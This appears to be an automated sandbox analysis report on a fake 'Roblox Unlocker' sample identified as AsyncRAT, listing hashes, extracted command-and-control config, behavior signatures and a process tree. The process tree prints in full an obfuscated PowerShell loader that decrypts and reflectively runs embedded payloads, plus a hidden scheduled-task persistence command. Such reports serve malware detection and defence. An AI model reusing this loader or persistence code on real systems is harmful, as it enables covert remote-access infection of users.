Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system - submitted
30/04/2024, 09:40
Static task
static1
Behavioral task
behavioral1
Sample
Roblox Unlocker.exe
Resource
win7-20240419-en
Behavioral task
behavioral2
Sample
Roblox Unlocker.exe
Resource
win10v2004-20240419-en
Behavioral task
behavioral3
Sample
driver/rbx.exe
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
driver/rbx.exe
Resource
win10v2004-20240426-en
Behavioral task
behavioral5
Sample
driver/rbx.vbs
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
driver/rbx.vbs
Resource
win10v2004-20240419-en
General
- Target Roblox Unlocker.exe
- Size 117KB
- Sample240430-lnhpcshc26
- SHA256 d782d8d0048a395c2a62634c683eb1c42fab260f1b9fc06c0be74bda902f355e
- MD5 5f1cffaa565ddfcc581cf3ef5d287af7
- SHA1 2b7fad5b35debdb34dce97e4eb5c404500f8f4f2
- SHA512 9996ec249c796a6d12dbe63ff0b7ae72b43c7c7087ccb5d74598b13f1212a808b7aa2a0816cc3d9b16c37de34432f57c4ad3a415ea4cbedc14c1c85ebbeb8839
- SSDEEP 768:Fbzb8+fzkioTv90gtYcF2Z1x6KhFn6sCKB:9b8KkT10Mg1xlhFn6sCKB
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
asyncrat
-
AsyncRAT
-
RbxFps
-
eve.now-dns.net:313
-
AsyncMutex_raw
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
- Async RAT payload 1 IoCs
resource yara_rule behavioral2/memory/3780-94-0x00000000063C0000-0x00000000063D6000-memory.dmp family_asyncrat - Blocklisted process makes network request 3 IoCs
flow pid Process 32 3780 powershell.exe 33 3780 powershell.exe 45 3780 powershell.exe - Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000\Control Panel\International\Geo\Nation Roblox Unlocker.exe Key value queried \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000\Control Panel\International\Geo\Nation WScript.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings Roblox Unlocker.exe Key created \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings powershell.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3880 Roblox Unlocker.exe 2920 powershell.exe 2920 powershell.exe 2996 powershell.exe 2996 powershell.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 2996 powershell.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 3780 powershell.exe 3780 powershell.exe 3780 powershell.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 3780 powershell.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe 4936 rbx.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3880 Roblox Unlocker.exe Token: SeDebugPrivilege 2920 powershell.exe Token: SeDebugPrivilege 2996 powershell.exe Token: SeIncreaseQuotaPrivilege 2996 powershell.exe Token: SeSecurityPrivilege 2996 powershell.exe Token: SeTakeOwnershipPrivilege 2996 powershell.exe Token: SeLoadDriverPrivilege 2996 powershell.exe Token: SeSystemProfilePrivilege 2996 powershell.exe Token: SeSystemtimePrivilege 2996 powershell.exe Token: SeProfSingleProcessPrivilege 2996 powershell.exe Token: SeIncBasePriorityPrivilege 2996 powershell.exe Token: SeCreatePagefilePrivilege 2996 powershell.exe Token: SeBackupPrivilege 2996 powershell.exe Token: SeRestorePrivilege 2996 powershell.exe Token: SeShutdownPrivilege 2996 powershell.exe Token: SeDebugPrivilege 2996 powershell.exe Token: SeSystemEnvironmentPrivilege 2996 powershell.exe Token: SeRemoteShutdownPrivilege 2996 powershell.exe Token: SeUndockPrivilege 2996 powershell.exe Token: SeManageVolumePrivilege 2996 powershell.exe Token: 33 2996 powershell.exe Token: 34 2996 powershell.exe Token: 35 2996 powershell.exe Token: 36 2996 powershell.exe Token: SeIncreaseQuotaPrivilege 2996 powershell.exe Token: SeSecurityPrivilege 2996 powershell.exe Token: SeTakeOwnershipPrivilege 2996 powershell.exe Token: SeLoadDriverPrivilege 2996 powershell.exe Token: SeSystemProfilePrivilege 2996 powershell.exe Token: SeSystemtimePrivilege 2996 powershell.exe Token: SeProfSingleProcessPrivilege 2996 powershell.exe Token: SeIncBasePriorityPrivilege 2996 powershell.exe Token: SeCreatePagefilePrivilege 2996 powershell.exe Token: SeBackupPrivilege 2996 powershell.exe Token: SeRestorePrivilege 2996 powershell.exe Token: SeShutdownPrivilege 2996 powershell.exe Token: SeDebugPrivilege 2996 powershell.exe Token: SeSystemEnvironmentPrivilege 2996 powershell.exe Token: SeRemoteShutdownPrivilege 2996 powershell.exe Token: SeUndockPrivilege 2996 powershell.exe Token: SeManageVolumePrivilege 2996 powershell.exe Token: 33 2996 powershell.exe Token: 34 2996 powershell.exe Token: 35 2996 powershell.exe Token: 36 2996 powershell.exe Token: SeIncreaseQuotaPrivilege 2996 powershell.exe Token: SeSecurityPrivilege 2996 powershell.exe Token: SeTakeOwnershipPrivilege 2996 powershell.exe Token: SeLoadDriverPrivilege 2996 powershell.exe Token: SeSystemProfilePrivilege 2996 powershell.exe Token: SeSystemtimePrivilege 2996 powershell.exe Token: SeProfSingleProcessPrivilege 2996 powershell.exe Token: SeIncBasePriorityPrivilege 2996 powershell.exe Token: SeCreatePagefilePrivilege 2996 powershell.exe Token: SeBackupPrivilege 2996 powershell.exe Token: SeRestorePrivilege 2996 powershell.exe Token: SeShutdownPrivilege 2996 powershell.exe Token: SeDebugPrivilege 2996 powershell.exe Token: SeSystemEnvironmentPrivilege 2996 powershell.exe Token: SeRemoteShutdownPrivilege 2996 powershell.exe Token: SeUndockPrivilege 2996 powershell.exe Token: SeManageVolumePrivilege 2996 powershell.exe Token: 33 2996 powershell.exe Token: 34 2996 powershell.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4936 rbx.exe - Suspicious use of SendNotifyMessage 1 IoCs
pid Process 4936 rbx.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3780 powershell.exe - Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 3880 wrote to memory of 3796 3880 Roblox Unlocker.exe 85 PID 3880 wrote to memory of 3796 3880 Roblox Unlocker.exe 85 PID 3880 wrote to memory of 4936 3880 Roblox Unlocker.exe 87 PID 3880 wrote to memory of 4936 3880 Roblox Unlocker.exe 87 PID 3796 wrote to memory of 4808 3796 cmd.exe 89 PID 3796 wrote to memory of 4808 3796 cmd.exe 89 PID 3796 wrote to memory of 2920 3796 cmd.exe 90 PID 3796 wrote to memory of 2920 3796 cmd.exe 90 PID 3796 wrote to memory of 2920 3796 cmd.exe 90 PID 2920 wrote to memory of 2996 2920 powershell.exe 98 PID 2920 wrote to memory of 2996 2920 powershell.exe 98 PID 2920 wrote to memory of 2996 2920 powershell.exe 98 PID 2920 wrote to memory of 3756 2920 powershell.exe 104 PID 2920 wrote to memory of 3756 2920 powershell.exe 104 PID 2920 wrote to memory of 3756 2920 powershell.exe 104 PID 3756 wrote to memory of 4464 3756 WScript.exe 105 PID 3756 wrote to memory of 4464 3756 WScript.exe 105 PID 3756 wrote to memory of 4464 3756 WScript.exe 105 PID 4464 wrote to memory of 4008 4464 cmd.exe 108 PID 4464 wrote to memory of 4008 4464 cmd.exe 108 PID 4464 wrote to memory of 4008 4464 cmd.exe 108 PID 4464 wrote to memory of 3780 4464 cmd.exe 109 PID 4464 wrote to memory of 3780 4464 cmd.exe 109 PID 4464 wrote to memory of 3780 4464 cmd.exe 109
Processes
-
C:\Users\Admin\AppData\Local\Temp\Roblox Unlocker.exe"C:\Users\Admin\AppData\Local\Temp\Roblox Unlocker.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3880 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\driver\rbx.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3796 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JsdCX5vQF6G5Gjs+VAZ1qwNac3N9twpOnPe7tP9iEzw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Pf8hM46F3LXAhqJ+iFyesw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mYXQD=New-Object System.IO.MemoryStream(,$param_var); $shiDA=New-Object System.IO.MemoryStream; $FZWQP=New-Object System.IO.Compression.GZipStream($mYXQD, [IO.Compression.CompressionMode]::Decompress); $FZWQP.CopyTo($shiDA); $FZWQP.Dispose(); $mYXQD.Dispose(); $shiDA.Dispose(); $shiDA.ToArray();}function execute_function($param_var,$param2_var){ $bOUWC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uKCgI=$bOUWC.EntryPoint; $uKCgI.Invoke($null, $param2_var);}$kVZWi = 'C:\Users\Admin\AppData\Local\Temp\driver\rbx.bat';$host.UI.RawUI.WindowTitle = $kVZWi;$zDIvy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($kVZWi).Split([Environment]::NewLine);foreach ($tuvqa in $zDIvy) { if ($tuvqa.StartsWith('BYSYpExqvRBVuAbLAjNe')) { $pgkRt=$tuvqa.Substring(20); break; }}$payloads_var=[string[]]$pgkRt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵PID:4808
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass3⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2920 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_850_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_850.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2996
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_850.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3756 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_850.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:4464 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JsdCX5vQF6G5Gjs+VAZ1qwNac3N9twpOnPe7tP9iEzw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Pf8hM46F3LXAhqJ+iFyesw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mYXQD=New-Object System.IO.MemoryStream(,$param_var); $shiDA=New-Object System.IO.MemoryStream; $FZWQP=New-Object System.IO.Compression.GZipStream($mYXQD, [IO.Compression.CompressionMode]::Decompress); $FZWQP.CopyTo($shiDA); $FZWQP.Dispose(); $mYXQD.Dispose(); $shiDA.Dispose(); $shiDA.ToArray();}function execute_function($param_var,$param2_var){ $bOUWC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uKCgI=$bOUWC.EntryPoint; $uKCgI.Invoke($null, $param2_var);}$kVZWi = 'C:\Users\Admin\AppData\Roaming\Windows_Log_850.bat';$host.UI.RawUI.WindowTitle = $kVZWi;$zDIvy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($kVZWi).Split([Environment]::NewLine);foreach ($tuvqa in $zDIvy) { if ($tuvqa.StartsWith('BYSYpExqvRBVuAbLAjNe')) { $pgkRt=$tuvqa.Substring(20); break; }}$payloads_var=[string[]]$pgkRt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:4008
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass6⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3780
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\driver\rbx.exe"C:\Users\Admin\AppData\Local\Temp\driver\rbx.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4936
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 37bd9078411576470f38bed628682d66786194692355541cd16f323e8f17c1ff
- MD5 55d32bc1c206428fe659912b361362de
- SHA1 7056271e5cf73b03bafc4e616a0bc5a4cffc810f
- SHA512 2602abc70c0ed7e5ba63a3c7190015c2b30aa3223fbbe65fd9ddc001e84ab393bb172a9488dd988cd6368d668ab8608f85dc03cdb7c9561e904e3f7ce103485c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 20KB
- SHA256 056aa2a23ffe3d78f5b4b901783b453ddd83bab834331babafb4ecf6ccbc514b
- MD5 37fde3c177052fa23f84daba2307e354
- SHA1 dc354f0ea1ed99a4654b24d832d9bd3d7d00be32
- SHA512 546d9f1f3c8c031ce4251268ebefe9e97d36073feca3d21e97755add3b29cc329ccd73ec41dcc6e5c42ad3f936744d8787940443a094a44563634f98a1c2be4b
- SSDEEP 384:Irf+Cy+q9i+oa3QFiBBimzItt24Zo9owTJK6seY3nebx/xojLYbLU0eF5ct9KCAG:SftyyOQco/84qowTJNKnqMY/Xsct9arO
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v3ofjra3.tsk.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Windows_Log_850.bat
- Size 54KB
- SHA256 7dc7716419e5aedddf48867e040a27e073dc963a28ae42c1c00b712bab7eda8e
- MD5 a20946d508bd3df46ed28a63e443b34c
- SHA1 d4720022e902dd71b2ef6edda0984d1355087a2d
- SHA512 05309614e9756a070af9e7394744c85fae7086ccee1998aed9ddc57a3c88bbc425704505e26b689d78445611d560ede7e6759f77b05b2112e129dd3112fb8993
- SSDEEP 1536:WusujFe83DYALWoT+7l1xNbFWA3Aa6fmzLB2zaz0:SYMWkALWooWAgePczaz0
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Windows_Log_850.vbs
- Size 115B
- SHA256 eddbfb658bee8223418d74f11c82f1d6f8320e56d5bb45f52bd56452b50f3e58
- MD5 19bf514186f40d4b84ca611bbe64e8d6
- SHA1 0842a6bc4553cbf025dfcfe836e9ef3849179e91
- SHA512 e9f02b7303aadd9119d70eaf07cbff95e18449e6e41563b238c8b03a9531e28a554bd8e413b94542018906339f039204881aa2bb52a31be022bccc208a04f5b9
- MD5 SHA1 SHA512